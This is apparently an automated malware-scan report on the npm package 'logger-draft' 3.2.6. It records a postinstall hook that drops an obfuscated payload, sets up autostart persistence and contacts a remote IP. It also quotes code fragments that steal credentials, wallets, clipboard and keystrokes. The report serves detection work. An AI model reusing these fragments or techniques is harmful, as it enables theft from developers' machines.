{"package":"logger-draft","version":"3.2.6","known":true,"status":"error","discovered_at":1790299795879,"has_install_script":true,"report_url":"https://andymal.com/packages/logger-draft/3.2.6","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790373049238,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":92235,"lab_ip":"10.77.0.154","hooks":[{"name":"postinstall","command":"node utils.js","exit":null,"timed_out":true,"seconds":90,"stdout_tail":"\n> logger-draft@3.2.6 postinstall\n> node utils.js\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":17,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node utils.js","node utils.js","/usr/local/bin/node /work/pkg/utils.js --bg","pgrep -f payload.js.*--agent","/usr/local/bin/node /home/andy/.local/share/MicrosoftSystem64/payload.js --agent","which xclip","sh -c command -v xclip","which xsel","sh -c command -v xsel","which wl-paste","sh -c command -v wl-paste","which xinput","sh -c command -v xinput","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"195.201.194.107","port":8010,"n":15}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":["/home/andy/.local/share/MicrosoftSystem64/payload.js","/home/andy/.local/share/MicrosoftSystem64/package.json","/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":["/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"notes":[]},"static":{"manifest":{"name":"logger-draft","version":"3.2.6","description":"Terminal logger utilities","scripts":{"build":"tsc","prepublishOnly":"npm run build","start":"ts-node index.ts","postinstall":"node utils.js"},"install_hooks":{"postinstall":"node utils.js"},"bin":{},"main":"dist/index.js","dependencies":["@types/node","ts-node","tsup","typescript","pino","postinstall","ws","zod","@types/ws","esbuild"],"author":"toskypi","license":"MIT","hasInstallScript":true},"files":[{"path":"payload.js","size":836423,"kind":"text","score":1,"hits":["credential_access","credential_harvest","code_execution","obfuscation","long_encoded_blob","persistence","reconnaissance","browser_theft","crypto_wallet","clipboard_screen"]},{"path":"utils.js","size":7650,"kind":"text","score":1,"hits":["credential_access","download_execute","code_execution","persistence","reconnaissance"],"role":"entry"},{"path":"package.json","size":854,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"dist/index.js","size":2501,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"index.ts","size":2722,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":909,"kind":"text","score":0,"hits":[]}],"file_count":6,"unpacked_size":851059,"findings":[{"title":"Install hook","detail":"postinstall: node utils.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"nly\": \"npm run build\", \"start\": \"ts-node index.ts\", \"postinstall\": \"node utils.js\" }, \"keywords\": [ \"logger\", \"changelog\", \"lo","severity":"medium","location":"package.json:13"},{"title":"Touches credential stores or secrets","detail":"onErrors','Harmony\\x20ONE\\x20Wallet','5610NAYJMw','CLOSED','private_key','api_key','.swiftpm','levels\\x20cannot\\x20be\\x20overridden","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"Recovery','trustwallet','registry','local','value','invalid_hf_token','Fast\\x20capture\\x20failed,\\x20falling\\x20back\\x20to\\x20Po","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"\\x20\\x20$bitmap.Save(\\x27','addEventListener','[CapsLock]','npm_token','internal','_value','Xorg','ZodIssueCode','followRedirects","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"nd','rbenv','Temple\\x20Wallet','lastIndex','fetchHFConfig','.netrc','YandexBrowser','writeUInt32BE','lastClipboard','wscript.e","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"](_0xb0fd45['HEARTBEAT_MS'])}),_0xdde8ab=_0x33c5f2['parse'](process.env);function _0x15b9cd(){const _0x3242cf=_0x2adb31;var _0x21618","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":";for(const [_0x4bceb5,_0x42640d]of Object[_0x233e28(0x74d)](process.env)){if(!_0x42640d||_0x42640d['length']===0x0)continue;const _0","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"16f4c,_0x5bd403;const _0x4c2a44=Object[_0x29b051(0x6ea)]({},process.env),_0x13cf32=(_0x5bd403=(_0x316f4c=process[_0x29b051(0x253)])=","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"0xea60)return _0x4313f3;const _0x9d8156=Object['assign']({},process.env),_0x298b6d=(_0x34214b=(_0x1d083e=process['getuid'])===null||","severity":"high","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"er','default','\\x0aSet\\x20WshShell\\x20=\\x20CreateObject(\\x22WScript.Shell\\x22)\\x0aWScript.Sleep\\x202000\\x0aWshShell.CurrentDirectory\\","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"eleted','clipboardTimer','-strip','PID\\x20eq\\x20','CocCoc','spawnSync','_generateMask','enable-linger','\\x27\\x5c\\x27\\x27','readon","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"input\\x20simulation\\x20process...','Not\\x20a\\x20file','node:child_process','Opera\\x20Software','<?xml\\x20version=\\x221.0\\x22\\x20encod","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"'Validation\\x20failed\\x20but\\x20no\\x20issues\\x20detected.','execSync','ZodMap','replace','wallet_scan_','finish','vivaldi','stde","severity":"medium","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';function _0x2d0a(){const _0x5c7fcb=['.pfx','object','_redirects','[Delete]',","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';function _0x2d0a(){const _0x5c7fcb=['.pfx','object','_redirects','[Delete]','minLength','is-en","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"\\x22)\\x0a\\x20\\x20\\x20\\x20Start-Sleep\\x20-Milliseconds\\x20300\\x0a\\x20\\x20\\x20\\x20\\x0a\\x20\\x20\\x20\\x20$img\\x20=\\x20[System.Windows.Forms.Clipboard]::GetImage()\\x0","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"20\\x20\\x20\\x20\\x20Write-Host\\x20\\x22ERROR:Clipboard\\x20empty\\x22\\x0a\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20exit\\x201\\x0a\\x20\\x20\\x20\\x20}\\x0a\\x20\\x20\\x20\\x20\\x0a\\x20\\x","severity":"high","location":"payload.js:1"},{"title":"Long base64-like blob","detail":"678f,'projectPath':_0x28728a})});});}var _0x28a243='ssh-rsa\\x20AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fKLTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"\\x20mouseButton:\\x20CGMouseButton(rawValue:\\x20','indexOf','.profile','share','Library','let\\x20ku\\x20=\\x20CGEvent(keyboardEvent","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"gins','maxLength','destroyed','items','left','credentials','schtasks','allBrowserExtensions','defaultPort','suite-desktop','Cook","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"directs','gte','unlink','register','_addCheck','.pcl-data','.bashrc','Chrome\\x20Canary','get_system_info','restart','Initial\\x2","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"x20screenshot\\x20upload\\x20failed','[End]','launchAgent:\\x20schtasks\\x20run\\x20failed,\\x20falling\\x20back\\x20to\\x20spawn','onedr","severity":"medium","location":"payload.js:1"},{"title":"System reconnaissance","detail":"tbeatSchema']=_0x15fa34['AgentHelloSchema']=_0x15fa34['AgentSystemInfoSchema']=_0x15fa34['TaskSchema']=_0x15fa34[_0x51e823(0x427)]","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"z'][_0x51e823(0x2a9)](_0x51e823(0x5fb))})]),_0x15fa34['AgentSystemInfoSchema']=_0x2faf4d['z']['object']({'hostname':_0x2faf4d['z']","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"[_0x51e823(0x743)]()),'version':_0x2faf4d['z']['string'](),'systemInfo':_0x15fa34['AgentSystemInfoSchema']['optional']()}),_0x15fa","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"on':_0x2faf4d['z']['string'](),'systemInfo':_0x15fa34['AgentSystemInfoSchema']['optional']()}),_0x15fa34[_0x51e823(0x476)]=_0x2faf","severity":"low","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"','_ending','258EAFA5-E914-47DA-95CA-C5AB0DC85B11','1.0.3','BraveSoftware','config','generateMask','/etc/ssh/sshd_config','yarn.lock.","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"n\\x20disconnected','isServer','assert','substring','paths','key4.db','.json','exactly','Sui\\x20Wallet','_headers','listeners','","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"eady\\x20exists','random','term_read','\\x22:\\x20','encrypt','logins.json','_shouldEmitClose','filter','negative','xinput','Visited\\x","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"(['login\\x20data','web\\x20data','cookies','local\\x20state','logins.json','key4.db','cert9.db','signons.sqlite','id_rsa','id_ed25519","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"JS:\\x20shutting\\x20down\\x20current\\x20agent\\x20connection','mnemonic','BitGet\\x20Wallet\\x20/\\x20BitKeep','writeFileSync','export","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"itGet\\x20Wallet\\x20/\\x20BitKeep','writeFileSync','exports','Phantom','^8.0.0','isEmoji','boolean','google-chrome-beta','Leather","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"nfigurable','git','application/gzip','xwd','SIGTERM','mac','exodus','repos','anaconda3','LFS\\x20batch\\x20request\\x20failed\\x20","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"20file\\x20to\\x20SonicBoom','IPv4','_deflate','getLocalIPs','phantom','keyboardEvents','server_max_window_bits','intervalMs','to","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":",'mouse_down','target','disc','~standard','maximumBreadth','pbpaste','.csv','resSerializer','exclude','capacitor.config.json','","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"son','server_no_context_takeover','readUInt32BE','Enkrypt','xclip','Sec-WebSocket-Origin','isULID','ZodNull','https:','specie","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"nder','Green\\x20Wallet','.pgpass','Print','dataBuf','hash','xclip\\x20-selection\\x20clipboard\\x20-o\\x202>/dev/null\\x20||\\x20xs","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"ser32.dll\\x22)]\\x20private\\x20static\\x20extern\\x20IntPtr\\x20SetWindowsHookEx(int\\x20id,\\x20HookProc\\x20cb,\\x20IntPtr\\x20hMod,\\x20uint\\x2","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"} function dataLocalDir() { if (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if","severity":"high","location":"utils.js:33"},{"title":"Download-and-execute chain","detail":"e NoDisplay=true Hidden=false StartupNotify=false `; fs.writeFileSync(path.join(autostartDir, `${UNIT_STEM}.desktop`), desktop); const child = spawn(process.execPath, [jsPath, \"--agent\"], { cwd: insta","severity":"critical","location":"utils.js:173"},{"title":"Executes commands or dynamic code","detail":"om \"node:os\"; import path from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSyst","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"th from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSystem64\"; var PAYLOAD_FILENAME","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"t script = path.resolve(process.argv[1]); const child = spawn(process.execPath, [script, \"--bg\"], { detached: true,","severity":"medium","location":"utils.js:21"},{"title":"Executes commands or dynamic code","detail":"rn = `${name}.*--agent`; if (IS_WIN) { const result = spawnSync(\"wmic\", [ \"process\", \"where\", `name='node","severity":"medium","location":"utils.js:46"},{"title":"Persistence mechanism","detail":"bsPath, vbs); const vbsNorm = norm(vbsPath); spawnSync(\"schtasks\", [\"/delete\", \"/tn\", `\\\\${UNIT_STEM}`, \"/f\"], { windowsHide","severity":"medium","location":"utils.js:86"},{"title":"Persistence mechanism","detail":"e: true, stdio: \"ignore\" }); const schtaskOk = spawnSync(\"schtasks\", [ \"/create\", \"/tn\", `\\\\${UNIT_STEM}`, \"/t","severity":"medium","location":"utils.js:87"},{"title":"Persistence mechanism","detail":"{ windowsHide: true, stdio: \"pipe\" }).status === 0; log(`schtasks create: ${schtaskOk}`); if (!schtaskOk) { spawnSync(\"","severity":"medium","location":"utils.js:99"},{"title":"Persistence mechanism","detail":", [ \"add\", \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", \"/v\", UNIT_STEM, \"/t\", \"REG_SZ\",","severity":"medium","location":"utils.js:103"},{"title":"System reconnaissance","detail":"f (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os","severity":"low","location":"utils.js:33"},{"title":"System reconnaissance","detail":"(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os.homedir(), \"Library\", \"Application Support\"); return process.env.XD","severity":"low","location":"utils.js:35"},{"title":"System reconnaissance","detail":"Support\"); return process.env.XDG_DATA_HOME ?? path.join(os.homedir(), \".local\", \"share\"); } function getSourcePayloadPath() {","severity":"low","location":"utils.js:36"},{"title":"System reconnaissance","detail":"th; if (hasSystemctl) { const userUnitDir = path.join(os.homedir(), \".config\", \"systemd\", \"user\"); fs.mkdirSync(userUnitDi","severity":"low","location":"utils.js:137"}],"injection_findings":[],"hits":{"install_hook_shell":1,"credential_access":6,"credential_harvest":5,"code_execution":10,"obfuscation":5,"long_encoded_blob":1,"persistence":9,"reconnaissance":10,"browser_theft":5,"crypto_wallet":5,"clipboard_screen":5,"download_execute":1},"iocs":{"urls":[],"domains":["logger.info","wshshell.run"],"ips":["4.0.0.0"]},"score":1,"priority":155,"hints":["install hook postinstall: node utils.js","untrusted hosts referenced: logger.info, wshshell.run","raw IPs referenced: 4.0.0.0","capability hits: code_execution×10, reconnaissance×10, persistence×9, credential_access×6, credential_harvest×5, obfuscation×5, browser_theft×5, crypto_wallet×5, clipboard_screen×5, install_hook_shell×1, long_encoded_blob×1, download_execute×1"],"entry_files":["utils.js","dist/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}